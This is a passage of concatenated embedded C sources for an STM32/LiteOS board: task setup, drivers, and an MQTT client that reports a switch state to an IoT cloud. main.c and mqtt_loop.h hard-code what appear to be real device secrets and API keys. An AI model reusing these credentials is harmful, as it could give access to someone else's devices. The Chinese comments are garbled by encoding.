TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler;
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up;
TIM_TimeBaseInitStructure.TIM_Period=period;
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE);
TIM_Cmd(TIM3,ENABLE);
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01;
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03;
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET)
{
LocalTime+=10;
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update);
}
VOID task1()
{
int count = 0;
while(1)
{
count++;
printf("------This is task1,count is %d\r\n",count);
LOS_TaskDelay(2000);
}
}
UINT32 creat_task1()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task1";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
VOID task2()
{
int count = 0;
while(1)
{
count++;
printf("++++++++This is task2,count is %d\r\n",count);
LOS_TaskDelay(1000);
}
}
UINT32 creat_task2()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task2";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
UINT32 creat_task3()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task3";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
void cloud_test(void)
{
UINT32 uwRet;
uwRet = LOS_SemPend(g_usSemID, LOS_WAIT_FOREVER);
platform_init();
subscribe_publish_sensor_values();
platform_deinit();
}
UINT32 creat_task4()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 8;
task_init_param.pcName = "task4";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)cloud_test;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit();//ๅ
ๆ ธๅๅงๅ
hardware_init();//็กฌไปถๅๅงๅ
LOS_SemCreate(0,&g_usSemID);
LwIP_Init();//LWIPๅๅงๅ
//uwRet = creat_task1();
//if(uwRet != LOS_OK)
// {
// return uwRet;
// }
//uwRet = creat_task2();
// if(uwRet != LOS_OK)
// {
// return uwRet;
// }
#ifdef USE_DHCP
uwRet = creat_task3();
if(uwRet != LOS_OK)
{
return uwRet;
}
#endif
Delay10ms(100);
uwRet = creat_task4();
if(uwRet != LOS_OK)
{
return uwRet;
}
LOS_Start();//ๅฏๅจLiteOS
}
```
mem_manage.c
```#include "los_memory.h"
#include "mem_manage.h"
void liteosfree(void *parg)
{
(VOID)LOS_MemFree(m_aucSysMem0, (VOID *)parg);
}
void *liteoscalloc(size_t n , size_t size)
{
return (LOS_MemAlloc (m_aucSysMem0, n* size));
}```
bsp_rng.h
```#ifndef __RNG_H
#define __RNG_H
#include "stm32f4xx.h"
int RNG_Config(void);
uint32_t RNG_Get_RandomNum(void);
int RNG_Get_RandomRange(int min,int max);
#endif /* __RNG_H */```
iothub_mqtt_client.h
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version: V1.0
** Descriptions: Contains header files and defined the structures
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
#ifndef __IOTHUB_MQTT_CLIENT_H
#define __IOTHUB_MQTT_CLIENT_H
#define __INTELLIGENT_FIRE_BAIDUCLOUD_H
#define __TRANSPORT_H
#ifdef __cplusplus
extern "C" {
#endif
/********************************************************************************************************
** Includes
*********************************************************************************************************/
extern unsigned int g_usGetNetStatusSemID;
extern unsigned int g_usGetNetDataSemID;
/*********************************************************************************************************
** Function declaration
*********************************************************************************************************/
void connect_mqtt_server(void);
void disconnect_mqtt_server(void);
void mqtt_client_pubtopic(void);
#ifdef __cplusplus
}
#endif
#endif
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
intelligent_fire_baiducloud.c
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version:
** Descriptions:
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
/********************************************************************************************************
** Includes
*********************************************************************************************************/
#include "intelligent_fire_baiducloud.h"
#include "los_task.ph"
#include "bsp_debug_usart.h"
#include "netconf.h"
#include "tcp_echoclient.h"
#include "stm32f429_phy.h"
#include "bsp_led.h"
#include "bsp_key.h"
#include "iothub_mqtt_client.h"
extern KEY Key1,Key2;
extern __IO uint32_t LocalTime;
UINT32 g_KeyTskHandle;
VOID LwipAppInit(void)
{
/* Configure ethernet (GPIOs, clocks, MAC, DMA) */
ETH_BSP_Config();
PRINTF_DBG("PHYๅๅงๅ็ปๆ\n");
/* Initilaize the LwIP stack */
LwIP_Init();
PRINTF_DBG(" KEY1: ๅฏๅจ/ๆญๅผTCP่ฟๆฅ\n");
// PRINTF_DBG(" KEY2: ๆญๅผTCP่ฟๆฅ\n");
/* IPๅฐๅๅ็ซฏๅฃๅฏๅจnetconf.hๆไปถไฟฎๆน๏ผๆ่
ไฝฟ็จDHCPๆๅก่ชๅจ่ทๅIP
(้่ฆ่ทฏ็ฑๅจๆฏๆ)*/
PRINTF_DBG("ๆฌๅฐIPๅ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3);
PRINTF_DBG("่ฟ็ซฏIPๅ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1,DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT);
}
unsigned char mqtt_server_connstatus = 0;
unsigned char mqtt_send_alarm_flg = 0;
VOID key_task(VOID)
{
while(1)
{
Key_RefreshState(&Key1);//ๅทๆฐๆ้ฎ็ถๆ
Key_RefreshState(&Key2);//ๅทๆฐๆ้ฎ็ถๆ
if(Key_AccessTimes(&Key1,KEY_ACCESS_READ)!=0)
{
if(mqtt_server_connstatus==0)
{
if (EthLinkStatus == 0)
{
connect_mqtt_server();
}
}
else
{
disconnect_mqtt_server();
}
Key_AccessTimes(&Key1,KEY_ACCESS_WRITE_CLEAR);
}
if(Key_AccessTimes(&Key2,KEY_ACCESS_READ)!=0)
{
if(mqtt_send_alarm_flg)
{
PRINTF_DBG("\r\n mqtt client stop send alarm message !!!");
mqtt_send_alarm_flg = 0;
}
else if(mqtt_send_alarm_flg==0)
{
PRINTF_DBG("\r\n mqtt client start send alarm message !!!");
mqtt_send_alarm_flg = 1;
}
Key_AccessTimes(&Key2,KEY_ACCESS_WRITE_CLEAR);
}
}
}
UINT32 creat_key_task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "key_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)key_task;
task_init_param.uwStackSize = 0x800;
uwRet = LOS_TaskCreate(&g_KeyTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
UINT32 g_LwipPollTskHandle;
VOID lwip_poll_task(VOID)
{
LwipAppInit();
while(1)
{
/* check if any packet received */
if (ETH_CheckFrameReceived())
{
/* process received ethernet packet */
LwIP_Pkt_Handle();
}
/* handle periodic timers for LwIP */
LwIP_Periodic_Handle(LocalTime);
}
}
UINT32 creat_lwip_poll_task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "lwip_poll_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)lwip_poll_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_LwipPollTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
CommMath.h
```/*
***********************************************************************************
*
*ๅ่ฝ๏ผ
*
*
*
*่ฏดๆ๏ผ1.
* 2.
* 3.
*
*
*By :Liubing๏ผๅผๅฟๅฐฑๅฅฝ๏ผ
*Contact :371007204@qq.com
*History :2015/7/1 22:22:27
***********************************************************************************
*/
#ifndef _COMMMATH_H_
#define _COMMMATH_H_
#include "lb_type.h"
#ifdef _COMMMATH_C_
#define COMMMATH_EXT
#else
#define COMMMATH_EXT extern
#endif
#ifdef _COMMMATH_C_
#endif
COMMMATH_EXT void MemCopy(BYTE *des,BYTE *src,int len);
COMMMATH_EXT WORD CombineWord(BYTE *buf,int *index);
COMMMATH_EXT DWORD CombineDword(BYTE *buf,int *index);
COMMMATH_EXT void LoadWord(WORD wData,BYTE *buf,int *index);
COMMMATH_EXT void LoadDword(DWORD dwData,BYTE *buf,int *index);
#endif
```
mem_manage.h
```#ifndef _MEM_MANAGE_H
#define _MEM_MANAGE_H
#include <stdlib.h>
void liteosfree(void *parg);
void *liteoscalloc(size_t n , size_t size);
#endif```
stm32f4xx_empl_drv.h
```#ifndef __STM32F4XX_EMPL_DRV_H
#define __STM32F4XX_EMPL_DRV_H
//#include "stm32f4xx_hal.h"
#define MAX_WRITE_SIZE 128
int stm32f4xx_i2c_write (unsigned char slave_addr,
unsigned char reg_addr,
unsigned char length,
unsigned char const *data);
int stm32f4xx_i2c_read (unsigned char slave_addr,
unsigned char reg_addr,
unsigned char length,
unsigned char *data);
void stm32f4xx_delay_ms (unsigned long num_ms);
void stm32f4xx_get_ms (unsigned long *count);
void stm32f4xx_log_i (char const *s, ...);
void stm32f4xx_log_e (char const *s, ...);
#endif /* __STM32F4XX_EMPL_DRV_H */
```
lock_liteos.c
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#include "azure_c_shared_utility/lock.h"
#include "azure_c_shared_utility/xlogging.h"
LOCK_HANDLE Lock_Init(void)
{
/* Codes_SRS_LOCK_10_002: [Lock_Init on success shall return a valid lock handle which should be a non NULL value] */
/* Codes_SRS_LOCK_10_003: [Lock_Init on error shall return NULL ] */
// xSemaphoreCreateMutex is the obvious choice, but it returns a recursive
// sync object, which we do not want for the lock adapter.
UINT32 usSemID;
if (LOS_BinarySemCreate(0, &usSemID) == LOS_OK)
{
if (LOS_SemPost(usSemID) != LOS_OK)
{
LogError("Lock_Init LOS_SemPost failed after create.");
(void)LOS_SemDelete(usSemID);
usSemID = LOSCFG_BASE_IPC_SEM_LIMIT;
}
}
else
{
LogError("Lock_Init LOS_BinarySemCreate failed.");
usSemID = LOSCFG_BASE_IPC_SEM_LIMIT;
}
return usSemID;
}
LOCK_RESULT Lock_Deinit(LOCK_HANDLE handle)
{
LOCK_RESULT result;
if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT)
{
LogError("Lock_Deinit Invalid argument; handle is NULL.");
result = LOCK_ERROR;
}
else
{
(void)LOS_SemDelete(handle);
result = LOCK_OK;
}
return result;
}
LOCK_RESULT Lock(LOCK_HANDLE handle)
{
LOCK_RESULT result;
if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT)
{
LogError("Lock Invalid argument; handle is NULL.");
result = LOCK_ERROR;
}
else
{
if (LOS_SemPend(handle, LOS_WAIT_FOREVER) == LOS_OK)
{
result = LOCK_OK;
}
else
{
LogError("Lock LOS_SemPend failed.");
/* Codes_SRS_LOCK_10_006: [Lock on error shall return LOCK_ERROR] */
result = LOCK_ERROR;
}
}
return result;
}
LOCK_RESULT Unlock(LOCK_HANDLE handle)
{
LOCK_RESULT result;
if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT)
{
LogError("Unlock Invalid argument; handle is NULL.");
result = LOCK_ERROR;
}
else
{
if (LOS_SemPost(handle) == LOS_OK)
{
result = LOCK_OK;
}
else
{
LogError("Unlock LOS_SemPost failed.");
/* Codes_SRS_LOCK_10_006: [Lock on error shall return LOCK_ERROR] */
result = LOCK_ERROR;
}
}
return result;
}
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "include.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
#define EXAMPLE_TRACE(fmt, args...) \
do { \
printf("%s|%03d :: ", __func__, __LINE__); \
printf(fmt, ##args); \
printf("%s", "\r\n"); \
} while(0)
/* These are pre-defined topics */
#define PRODUCT_KEY "a1xqhyNLtcU"
#define DEVICE_NAME "MEE-H1"
#define DEVICE_SECRET "uhCxhmb1oh1qO4ocqxMsB4kgBEeFUMBd"
//{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"}
#define ALINK_BODY_FORMAT "{\"method\":\"%s\",\"id\":\"%d\",\"params\":{\"PowerSwitch\":%d},\"version\":\"1.0\"}"
#define ALINK_TOPIC_PROP_POST "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/event/property/post"
#define ALINK_TOPIC_PROP_POSTRSP "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/event/property/post_reply"
#define ALINK_TOPIC_PROP_SET "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/service/property/set"
#define ALINK_METHOD_PROP_POST "thing.event.property.post"
#define MQTT_MSGLEN (1024)
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
UINT32 g_TskStart;
__IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */
char UserSwitch;
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
printf("Sysclock is %d\r\n",SystemCoreClock);
ETH_BSP_Config();//ไปฅๅคช็ฝ้
็ฝฎ
}
void event_handle(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg)
{
uintptr_t packet_id = (uintptr_t)msg->msg;
iotx_mqtt_topic_info_pt topic_info = (iotx_mqtt_topic_info_pt)msg->msg;
switch (msg->event_type) {
case IOTX_MQTT_EVENT_UNDEF:
EXAMPLE_TRACE("undefined event occur.");
break;
case IOTX_MQTT_EVENT_DISCONNECT:
EXAMPLE_TRACE("MQTT disconnect.");
break;
case IOTX_MQTT_EVENT_RECONNECT:
EXAMPLE_TRACE("MQTT reconnect.");
break;
case IOTX_MQTT_EVENT_SUBCRIBE_SUCCESS:
EXAMPLE_TRACE("subscribe success, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_SUBCRIBE_TIMEOUT:
EXAMPLE_TRACE("subscribe wait ack timeout, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_SUBCRIBE_NACK:
EXAMPLE_TRACE("subscribe nack, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_SUCCESS:
EXAMPLE_TRACE("unsubscribe success, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_TIMEOUT:
EXAMPLE_TRACE("unsubscribe timeout, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_NACK:
EXAMPLE_TRACE("unsubscribe nack, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_SUCCESS:
EXAMPLE_TRACE("publish success, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_TIMEOUT:
EXAMPLE_TRACE("publish timeout, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_NACK:
EXAMPLE_TRACE("publish nack, packet-id=%u", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_RECVEIVED:
EXAMPLE_TRACE("topic message arrived but without any related handle: topic=%.*s, topic_msg=%.*s",
topic_info->topic_len,
topic_info->ptopic,
topic_info->payload_len,
topic_info->payload);
break;
default:
EXAMPLE_TRACE("Should NOT arrive here.");
break;
}
}
static void _demo_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg)
{
iotx_mqtt_topic_info_pt ptopic_info = (iotx_mqtt_topic_info_pt) msg->msg;
/* print topic name and topic message */
EXAMPLE_TRACE("----");
EXAMPLE_TRACE("Topic: '%.*s' (Length: %d)",
ptopic_info->topic_len,
ptopic_info->ptopic,
ptopic_info->topic_len);
EXAMPLE_TRACE("Payload: '%.*s' (Length: %d)",
ptopic_info->payload_len,
ptopic_info->payload,
ptopic_info->payload_len);
EXAMPLE_TRACE("----");
if(ptopic_info->topic_len==50)
{
const char *inf = "\"PowerSwitch\":";
char *dat = strstr(ptopic_info->payload, inf);
dat += strlen(inf);
UserSwitch = dat[0] - '0';
if(UserSwitch==0)
{
LED_RGBOFF;
}
else
{
LED_BLUE;
}
}
}
int mqtt_client(void)
{
extern __IO uint8_t DHCP_state;
int rc = 0;
void *pclient;
iotx_conn_info_pt pconn_info;
iotx_mqtt_param_t mqtt_params;
iotx_mqtt_topic_info_t topic_msg;
char msg_pub[128];
char *msg_buf = NULL, *msg_readbuf = NULL;
char out;
while(DHCP_state != DHCP_ADDRESS_ASSIGNED)
{
HAL_SleepMs(1000);
}
if (NULL == (msg_buf = (char *)HAL_Malloc(MQTT_MSGLEN))) {
EXAMPLE_TRACE("not enough memory");
rc = -1;
goto do_exit;
}
if (NULL == (msg_readbuf = (char *)HAL_Malloc(MQTT_MSGLEN))) {
EXAMPLE_TRACE("not enough memory");
rc = -1;
goto do_exit;
}
/* Device AUTH */
if (0 != IOT_SetupConnInfo(PRODUCT_KEY, DEVICE_NAME, DEVICE_SECRET, (void **)&pconn_info)) {
EXAMPLE_TRACE("AUTH request failed!");
rc = -1;
goto do_exit;
}
/* Initialize MQTT parameter */
memset(&mqtt_params, 0x0, sizeof(mqtt_params));
mqtt_params.port = pconn_info->port;
mqtt_params.host = pconn_info->host_name;
mqtt_params.client_id = pconn_info->client_id;
mqtt_params.username = pconn_info->username;
mqtt_params.password = pconn_info->password;
mqtt_params.pub_key = NULL;
mqtt_params.request_timeout_ms = 2000;
mqtt_params.clean_session = 0;
mqtt_params.keepalive_interval_ms = 60000;
mqtt_params.pread_buf = msg_readbuf;
mqtt_params.read_buf_size = MQTT_MSGLEN;
mqtt_params.pwrite_buf = msg_buf;
mqtt_params.write_buf_size = MQTT_MSGLEN;
mqtt_params.handle_event.h_fp = event_handle;
mqtt_params.handle_event.pcontext = NULL;
/* Construct a MQTT client with specify parameter */
out = 0;
do{
pclient = IOT_MQTT_Construct(&mqtt_params);
HAL_SleepMs(2000);
}while((NULL==pclient)&&(++out<3));
if (out >= 3) {
EXAMPLE_TRACE("MQTT construct failed");
rc = -1;
goto do_exit;
}
/* Subscribe the specific topic */
out = 0;
do{
rc = IOT_MQTT_Subscribe(pclient, ALINK_TOPIC_PROP_POSTRSP, IOTX_MQTT_QOS1, _demo_message_arrive, NULL);
if(rc < 0) IOT_MQTT_Destroy(&pclient);
}while((rc < 0)&&(++out<3));
if (rc < 0) {
EXAMPLE_TRACE("IOT_MQTT_Subscribe() ACK failed, rc = %d", rc);
rc = -1;
goto do_exit;
}
HAL_SleepMs(1000);
out = 0;
do{
rc = IOT_MQTT_Subscribe(pclient, ALINK_TOPIC_PROP_SET, IOTX_MQTT_QOS1, _demo_message_arrive, NULL);
if(rc < 0) IOT_MQTT_Destroy(&pclient);
}while((rc < 0)&&(++out<3));
if (rc < 0) {
EXAMPLE_TRACE("IOT_MQTT_Subscribe() UP failed, rc = %d", rc);
rc = -1;
goto do_exit;
}
HAL_SleepMs(1000);
while(1)
{
/* Initialize topic information */
memset(&topic_msg, 0x0, sizeof(iotx_mqtt_topic_info_t));
topic_msg.qos = IOTX_MQTT_QOS1;
topic_msg.retain = 0;
topic_msg.dup = 0;
{
//{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"}
static int serial;
sprintf(msg_pub, ALINK_BODY_FORMAT,ALINK_METHOD_PROP_POST, ++serial,UserSwitch);
}
topic_msg.payload = (void *)msg_pub;
topic_msg.payload_len = strlen(msg_pub);
rc = IOT_MQTT_Publish(pclient, ALINK_TOPIC_PROP_POST, &topic_msg);
EXAMPLE_TRACE("rc = IOT_MQTT_Publish() = %d", rc);
/* handle the MQTT packet received from TCP or SSL connection */
IOT_MQTT_Yield(pclient, 200);
IOT_MQTT_Unsubscribe(pclient, ALINK_TOPIC_PROP_POSTRSP);
HAL_SleepMs(2000);
}
do_exit:
if (NULL != msg_buf) {
HAL_Free(msg_buf);
}
if (NULL != msg_readbuf) {
HAL_Free(msg_readbuf);
}
return rc;
}
VOID task_start()
{
TSK_INIT_PARAM_S task_init_param;
//ๅๅปบDHCPไปปๅก
printf("Creat Task DHCP...\r\n");
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "DHCP";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task;
task_init_param.uwStackSize = 0x400;
LOS_TaskCreate(&g_TskHandle, &task_init_param);
//ๅๅปบmqttไปปๅก
printf("Creat Task mqtt_client...\r\n");
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "mqtt_client";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client;
task_init_param.uwStackSize = 0x4000;
LOS_TaskCreate(&g_TskHandle, &task_init_param);
//ๅ ้คไปปๅก
LOS_TaskDelete(g_TskStart);
}
UINT32 creat_start()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 30;
task_init_param.pcName = "start";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task_start;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskStart, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
int main(void)
{
LOS_KernelInit();//ๅ
ๆ ธๅๅงๅ
hardware_init();//็กฌไปถๅๅงๅ
printf("LwIP_Init...\r\n");
LwIP_Init(); //ๅๅงๅๅ่ฎฎๆ
creat_start();//ๅๅปบๅผๅงไปปๅก
LOS_Start();//ๅฏๅจLiteOS,Run!Run!Run!
}
```
delay.h
```#ifndef __DELAY_H
#define __DELAY_H
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
/*
*ๅ่ฝ๏ผSTM32F407VET6ไปฅๅคช็ฝๆ ธๅฟๆฟๆต่ฏไปฃ็ ๏ผ่ชๅจ่ทๅIP๏ผๅนถๅปบ็ซๆๅกๅจ๏ผๅฏ้่ฟไธฒๅฃ1ๆๅฐๅฝๅๆฐๆฎไฟกๆฏ
*ๆบๆ๏ผๅฉๅผๅ็ฝ(www.zkaifa.com)
*่ฎบๅ๏ผwww.zkaifa.com/bbs
*ไฝ่
๏ผliubinkaixin
*ๆถ้ด๏ผ2015-05-30
*ๅฃฐๆ๏ผๅฝๅ็ๆฌไป
ๆไพๆ ธๅฟๆฟๆต่ฏ๏ผไป
ๆไพ็ ็ฉถๅญฆไน ไฝฟ็จ๏ผ่ฅไฝไธบๅไธ็จ้ๅบ็ฐไปปไฝ้่ฏฏ๏ผๆไพๆนไธๆฟๆ
ไปปไฝ่ดฃไปป
*/
void delay_init(void);
void delay_ms(u16 nms);
void delay_us(u32 nus);
#endif
```
mqtt_loop.h
```#include "mqtt.h"
#include <string.h>
#include "utils.h"
#include "stm32f4xx.h"
#ifdef WIN32
#error Not support Windows now.
#endif // WIN32
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <time.h>
#define DS_TO_PUBLISH "mqtt_msg"
#define DS_TO_PUBLISH_T "mqtt_msg_t"
#define DS_TO_PUBLISH_RH "mqtt_msg_rh"
/*#define TOPIC_TO_SUB "39484/nCVNXYCoX68IHG4DgpyNu5aTXfY=/769243/da_test_a"
#define PACK_FALG_UNSUB 11
#define TOPIC_TO_UNSUB "39484/nCVNXYCoX68IHG4DgpyNu5aTXfY=/769243/da_test_a"
#define TIME_OUT 1
#define EVENT 2
#define MQTT_DEVICE_PROJ_ID "39484"
#define MQTT_DEVICE_ID "769832"
#define MQTT_DEVICE_API_KEY "nCVNXYCoX68IHG4DgpyNu5aTXfY="*/
#define TOPIC_TO_SUB "132589/XbQA0YLjjdzsD=MzbTl4niQ2w30=/29702274/da_test_a"
#define PACK_FALG_UNSUB 11
#define TOPIC_TO_UNSUB "132589/XbQA0YLjjdzsD=MzbTl4niQ2w30=/29702274/da_test_a"
#define TIME_OUT 1
#define EVENT 2
#define MQTT_DEVICE_PROJ_ID "132589"
#define MQTT_DEVICE_ID "29702274"
#define MQTT_DEVICE_API_KEY "XbQA0YLjjdzsD=MzbTl4niQ2w30="
void MQTT_Loop(void);
```
stm32f4xx_empl_drv.c
```#include "stm32f4xx_empl_drv.h"
#include "mpu6050.h"
#include "cmsis_os.h"
#include "i2c.h"
#include <string.h>
static unsigned char stm32f4xx_empl_i2c_wb[MAX_WRITE_SIZE];
int stm32f4xx_i2c_write (unsigned char slave_addr,
unsigned char reg_addr,
unsigned char length,
unsigned char const *data)
{
Sensors_I2C_WriteRegister(slave_addr,
reg_addr,
length,
data);
/*
if (length + 1 > MAX_WRITE_SIZE)
return -1;
stm32f4xx_empl_i2c_wb[0] = reg_addr;
memcpy (stm32f4xx_empl_i2c_wb + 1, data, length);
while (__HAL_I2C_GET_FLAG(&hi2c1, I2C_FLAG_BUSY) == SET) ;
HAL_I2C_Master_Transmit (&hi2c1, slave_addr << 1, stm32f4xx_empl_i2c_wb, length + 1, 1000);
*/
return 0;
}
int stm32f4xx_i2c_read (unsigned char slave_addr,
unsigned char reg_addr,
unsigned char length,
unsigned char *data)
{
Sensors_I2C_ReadRegister(slave_addr,
reg_addr,
length,
data);
/*
while (__HAL_I2C_GET_FLAG(&hi2c1, I2C_FLAG_BUSY) == SET) ;
HAL_I2C_Master_Transmit (&hi2c1, slave_addr << 1, ®_addr, 1, 1000);
HAL_I2C_Master_Receive (&hi2c1, slave_addr << 1, data, length, 1000);
*/
return 0;
}
void stm32f4xx_delay_ms (unsigned long num_ms)
{
//HAL_Delay(num_ms);
osDelay(num_ms);
}
void stm32f4xx_get_ms (unsigned long *count)
{
//(*count) = HAL_GetTick();
}
void stm32f4xx_log_i (char const *s, ...)
{
return;
}
void stm32f4xx_log_e (char const *s, ...)
{
return;
}
```
user_settings.h
```/* user_settings.h
*
* Copyright (C) 2006-2017 wolfSSL Inc.
*
* This file is part of wolfSSL.
*
* wolfSSL is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* wolfSSL is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA
*/
#define NO_MAIN_DRIVER
#define BENCH_EMBEDDED
#define NO_DEV_RANDOM
#define WOLFSSL_USER_CURRTIME
#define SIZEOF_LONG_LONG 8
#define NO_WRITEV
#define NO_DEV_RANDOM
#define TFM_TIMING_RESISTANT
#define ECC_TIMING_RESISTANT
#define WC_RSA_BLINDING
#define WOLFSSL_USER_CURRTIME /* for benchmark */
#define WOLFSSL_CURRTIME_OSTICK /* use OS tich for current_time */
#define WOLFSSL_GMTIME
#define USER_TIME
#define NO_INLINE
